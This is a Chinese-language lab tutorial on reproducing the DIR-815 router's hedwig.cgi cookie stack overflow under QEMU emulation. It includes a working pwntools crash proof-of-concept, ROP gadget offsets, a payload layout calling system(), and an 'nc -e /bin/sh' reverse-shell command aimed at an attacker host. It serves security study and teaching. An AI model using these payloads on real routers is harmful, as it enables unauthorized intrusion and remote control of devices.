DIR815 路由器栈溢出漏洞复现教学文档
1. 环境准备与工具安装
1.1 核心工具安装
首先,在宿主机(推荐使用 Ubuntu 系统)上安装必要的工具。打开终端并执行以下命令:
sudo apt update
sudo apt install -y qemu-system qemu-user qemu-user-static gdb gdb-multiarch file wget curl git python3 python3-pip build-essential liblzma-dev unzip pkg-config libfontconfig1-dev bridge-utils uml-utilities
sudo apt install docker.io
sudo apt install git
1.2 安装 Binwalk
Binwalk 用于固件解包。通过以下步骤安装:
git clone https://github.com/ReFirmLabs/binwalk
cd binwalk
sudo ./build_docker.sh
为了方便使用,创建一个启动脚本(例如命名为 binwalk.sh):
#!/bin/bash
IMAGE="binwalkv3"
USER_ID=$(id -u)
GROUP_ID=$(id -g)
DOCKER_ARGS=(
--rm # 运行后自动删除容器
-it # 交互式 TTY(支持 Ctrl+C、颜色等)
--user "$USER_ID:$GROUP_ID" # 使用当前用户身份运行,避免权限问题
-v "$PWD":/analysis # 挂载当前目录
-w /analysis # 工作目录设为挂载点
--init # 更好的信号处理(可选,需 Docker >= 1.13)
)
exec docker run "${DOCKER_ARGS[@]}" "$IMAGE" "$@"
赋予脚本执行权限并将其放入 /usr/bin 或将其所在目录加入 PATH 环境变量。
2. 固件解包
将待分析的固件文件(例如 xxx.bin)放在当前目录,然后运行:
binwalk -Me ./xxx.bin
此命令会自动递归解包固件,提取出文件系统。
3. 配置 QEMU 网络(桥接模式)
3.1 创建桥接网络配置文件
创建并编辑网络配置文件:
sudo nvim /etc/netplan/99-bridge.yaml
在文件中输入以下配置(注意:ens33 需根据 ip addr 命令输出的实际网卡名修改):
network:
version: 2
renderer: networkd
ethernets:
ens33: {} # 请替换为你的实际网卡名
bridges:
br0:
interfaces: [ens33] # 同上
dhcp4: true
optional: true
应用配置:
sudo netplan apply
应用后,使用 ip addr 命令检查是否出现 br0 网桥设备,并获取其 IP 地址。
3.2 配置 QEMU 使用桥接
允许 QEMU 使用桥接网络:
sudo mkdir -p /etc/qemu
sudo touch /etc/qemu/bridge.conf
echo "allow all" | sudo tee /etc/qemu/bridge.conf
4. 下载并准备 QEMU 虚拟机
4.1 下载 Debian MIPSEL 内核与镜像
在合适目录下执行:
curl -LO https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta
curl -LO https://people.debian.org/~aurel32/qemu/mipsel/debian_squeeze_mipsel_standard.qcow2
下载后请备份好这两个文件。
4.2 编写 QEMU 启动脚本
创建一个启动脚本(例如 start.sh):
#!/bin/sh
sudo qemu-system-mipsel \
-M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-nographic \
-net nic -net bridge,br=br0
-net bridge,br=br0:使 QEMU 使用已配置的br0网桥。-nographic:禁用图形界面,使用控制台输出。
启动虚拟机(启动过程会卡顿一会,请耐心等待):
chmod +x start.sh
sudo ./start.sh
虚拟机默认账号密码为 root/root。
5. 文件传输与固件环境搭建
5.1 SSH 连接虚拟机
启动虚拟机后,在虚拟机内执行 ip addr 查看 IP 地址(例如 192.168.199.135)。在宿主机上通过 SSH 连接(由于虚拟机 SSH 版本旧,需指定算法):
ssh -o HostKeyAlgorithms=+ssh-rsa root@192.168.199.135
5.2 传输固件文件系统
- 在宿主机上,定位到 binwalk 解包出的文件系统根目录(包含
bin,etc,sbin等文件夹的目录,假设文件夹名为rootfs)。 - 压缩该文件夹:
tar czvf rootfs.tar.gz ./rootfs/ - 使用 SCP 传输到虚拟机(同样需要指定算法和
-O参数以兼容旧版):scp -O -o HostKeyAlgorithms=+ssh-rsa -r ./rootfs.tar.gz root@192.168.199.135:/root/
5.3 准备环境初始化脚本
在宿主机创建 init.sh 文件,内容如下:
#!/bin/bash
cp sbin/httpd /
cp -rf htdocs/ /
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cd /
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
此脚本用于复制关键文件并创建符号链接。将其传输到虚拟机:
scp -O -o HostKeyAlgorithms=+ssh-rsa -r ./init.sh root@192.168.199.135:/root
5.4 创建并传输 HTTP 服务配置文件
创建 http_conf 文件,内容如下(这是一个简化的示例,实际应包含完整的 httpd 配置):
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On
ErrorLog /log
Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}
Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
}
}
传输到虚拟机根目录:
scp -O -o HostKeyAlgorithms=+ssh-rsa -r ./http_conf root@192.168.199.135:/
6. 在虚拟机中启动服务
- 在虚拟机中解压固件文件系统:
cd /root tar -xzvf ./rootfs.tar.gz - 进入解压后的目录,移动并执行初始化脚本:
脚本执行时可能会有关于空链接文件的报错,可忽略。cd rootfs mv ../init.sh ./ chmod +x ./init.sh ./init.sh - 启动 httpd 服务:
/httpd -f /http_conf - 服务验证:在宿主机浏览器访问
http://<虚拟机IP>:8080/hedwig.cgi(例如http://192.168.199.135:8080/hedwig.cgi)。如果页面有回显(例如显示“no xml data”),则服务启动成功。
7. 漏洞静态分析
根据漏洞报告,漏洞存在于 hedwig.cgi 中。在固件文件系统中,hedwig.cgi 通常是一个指向 cgibin 的符号链接。使用反汇编工具(如 IDA Pro、Ghidra)分析 cgibin 文件。
- 定位漏洞函数:查找
hedwigcgi_main函数。 - 漏洞点:
- 函数内部会从 HTTP 请求的 Cookie 头中提取
uid参数的值。 - 提取函数
sess_get_uid会定位 Cookie 中的uid=字段,并返回其等号后的值。 - 函数
sobj_get_string会检查uid指针,如果非空且*(uid+20)不为\x00,则返回uid+20处的地址,即跳过了前 20 字节。 - 此
uid值(跳过前 20 字节后)被直接拷贝到一个大小为 1024 字节的栈缓冲区(假设变量名为vuln_s)中,且拷贝前未对长度进行有效校验,导致栈溢出。
- 函数内部会从 HTTP 请求的 Cookie 头中提取
- 保护检查:通过
checksec等工具检查cgibin,发现其未开启 NX、ASLR 等保护,为利用提供了便利。
8. 动态调试与漏洞验证
8.1 准备 PoC 脚本
使用 pwntools 编写一个简单的 PoC 脚本来触发崩溃,确认漏洞存在。
from pwn import *
context.log_level = "debug"
io = remote("192.168.199.135", 8080) # 替换为虚拟机IP
# 计算溢出长度。20字节偏移 + 1024字节缓冲区 - 17(可能的结构体对齐) + 8(覆盖必要寄存器如s0, s5, ra)
length = 20 + 1024 - 17 + 8
cookie_payload = b"a" * length
body = b"" # POST 数据体为空
request = b""
request += b"POST /hedwig.cgi HTTP/1.1\r\n"
request += b"Host: 192.168.199.135:8080\r\n"
request += b"User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:148.0) Gecko/20100101 Firefox/148.0\r\n"
request += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
request += b"Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5\r\n"
request += b"Accept-Encoding: gzip, deflate\r\n"
request += b"Connection: keep-alive\r\n"
request += b"Upgrade-Insecure-Requests: 1\r\n"
request += b"Cookie: uid=" + cookie_payload + b"\r\n"
request += b"Content-Type: application/x-www-form-urlencoded\r\n"
request += b"Content-Length: " + str(len(body)).encode() + b"\r\n"
request += b"Priority: u=0, i\r\n\r\n"
request += body
io.send(request)
io.interactive()
发送请求后,如果服务返回 500 错误,表明 CGI 进程崩溃,栈溢出触发成功。
8.2 搭建调试环境
- 准备 gdbserver:下载 MIPSEL 架构的静态编译版 gdbserver。
curl -LO https://github.com/guyush1/gdb-static/releases/download/v17.1-static/gdb-static-slim-mipsel.tar.gz mkdir ./gdb-mipsel tar xzvf ./gdb-static-slim-mipsel.tar.gz -C ./gdb-mipsel scp -o HostKeyAlgorithms=+ssh-rsa -r ~/0x1.Tools/gdb-mipsel/gdbserver root@192.168.199.135:/ - 附加调试:在虚拟机中启动 httpd 服务后,查找其 PID 并用 gdbserver 附加。
./httpd -f ./http_conf & ps -aux | grep httpd gdbserver :1234 --attach <PID> - 宿主机连接调试:在宿主机启动 gdb-multiarch 并连接。
gdb-multiarch (gdb) target remote 192.168.199.135:1234 (gdb) catch exec (gdb) c - 触发漏洞:在宿主机运行 PoC 脚本。此时 gdb 会因
catch exec在cgibin被加载执行时中断。在漏洞函数(如hedwigcgi_main)的关键位置(例如0x40967C)下断点,继续运行,观察栈数据是否被覆盖,确认溢出点。
9. 漏洞利用与 ROP 链构造
由于二进制文件未开启 ASLR,地址固定,且无 NX 保护,可利用 ROP 技术执行命令。但由于地址中可能包含 \x00 导致截断,需精心选择 Gadget。
9.1 查找 Gadget
目标:控制 $ra(返回地址)、$s0、$s5 寄存器,最终跳转到 system 函数并控制其参数。
- 关闭 ASLR(临时):在调试虚拟机中执行
echo 0 > /proc/sys/kernel/randomize_va_space(重启失效)。 - 查找库基址:在调试器中,通过
vmmap或info proc mappings查看cgibin及其链接库(如libc.so.0)的加载基址。 - 使用工具搜索:在宿主机上,使用
ropper或ROPgadget在cgibin和libuClibc-0.9.30.1.so中搜索可用 gadget。
根据文档示例,需要寻找以下关键 Gadget:pip install ropper ropper -f libuClibc-0.9.30.1.so --nocolor > gadgets.txt- Gadget 1 (例如位于
libc_base + 0x158c8):用于将$s0的值赋给$t9并跳转,同时控制$s5和$a0。 - Gadget 2 (例如位于
libc_base + 0x159cc):用于调整$sp并将$s5的值赋给$a0。
- Gadget 1 (例如位于
9.2 构造利用链
核心思路:
- 通过栈溢出,覆盖函数返回地址
$ra为 Gadget 1 的地址。 - 布置栈数据,使得溢出后栈布局能正确设置
$s0和$s5寄存器。$s0应设置为system函数地址 - 1(避免地址中的\x00字节)。$s5应设置为 Gadget 2 的地址,该 Gadget 执行后,$a0寄存器(system的第一个参数)将指向一个我们可控的栈地址,该地址包含我们要执行的命令字符串。
- Gadget 1 执行时,会将
$s0(system_addr-1)赋给$t9并跳转。在跳转前,通常有一个addiu $s0, 1指令(或类似的)将值加回,使得$t9指向正确的system函数。 - Gadget 2 执行时,会从栈上取数据给
$a0,并最终跳转到$t9(即system)。 - 在
$a0指向的地址处放置要执行的命令,例如||/bin/sh或||nc -e /bin/sh <攻击者IP> <端口>。使用||可以忽略前一条可能出错的命令。
9.3 编写完整 Exploit
结合上述信息,编写最终的 Python 漏洞利用脚本。脚本需精确计算填充长度、各个 gadget 的地址、system 函数的地址以及命令字符串在栈中的位置。
关键步骤:
- 计算从溢出点到返回地址
$ra的偏移。 - 构造 payload 结构:
[偏移量长度的填充] + [Gadget1地址] + [填充以对应寄存器恢复] + [s5值] + [s0值] + ... + [命令字符串] - 注意 MIPS 指令的内存对齐和字节序。
system地址可能在libc中,注意查找。- 命令字符串中可用
;或||与前文可能存在的垃圾数据分隔。
9.4 获取 Shell
- 在攻击机(宿主机)上监听一个端口:
nc -lvnp 4444。 - 运行最终构造的 exploit 脚本。
- 如果 exploit 成功,将在监听端口收到来自路由器的反向 shell 连接。
10. 总结与注意事项
- 本教程详细介绍了从环境搭建、固件模拟、漏洞分析、动态调试到 ROP 利用链构造的完整流程。
- 关键点包括:正确配置 QEMU 桥接网络、处理旧版 SSH/SCP 兼容性问题、理解漏洞触发路径(Cookie 中 uid 参数的处理)、以及针对无保护 MIPS 架构的 ROP 链构造技巧。
- 实际利用时,需根据具体的
cgibin和libc文件,重新计算偏移、查找 gadget 和函数地址。 - 请仅在授权的环境中进行安全测试。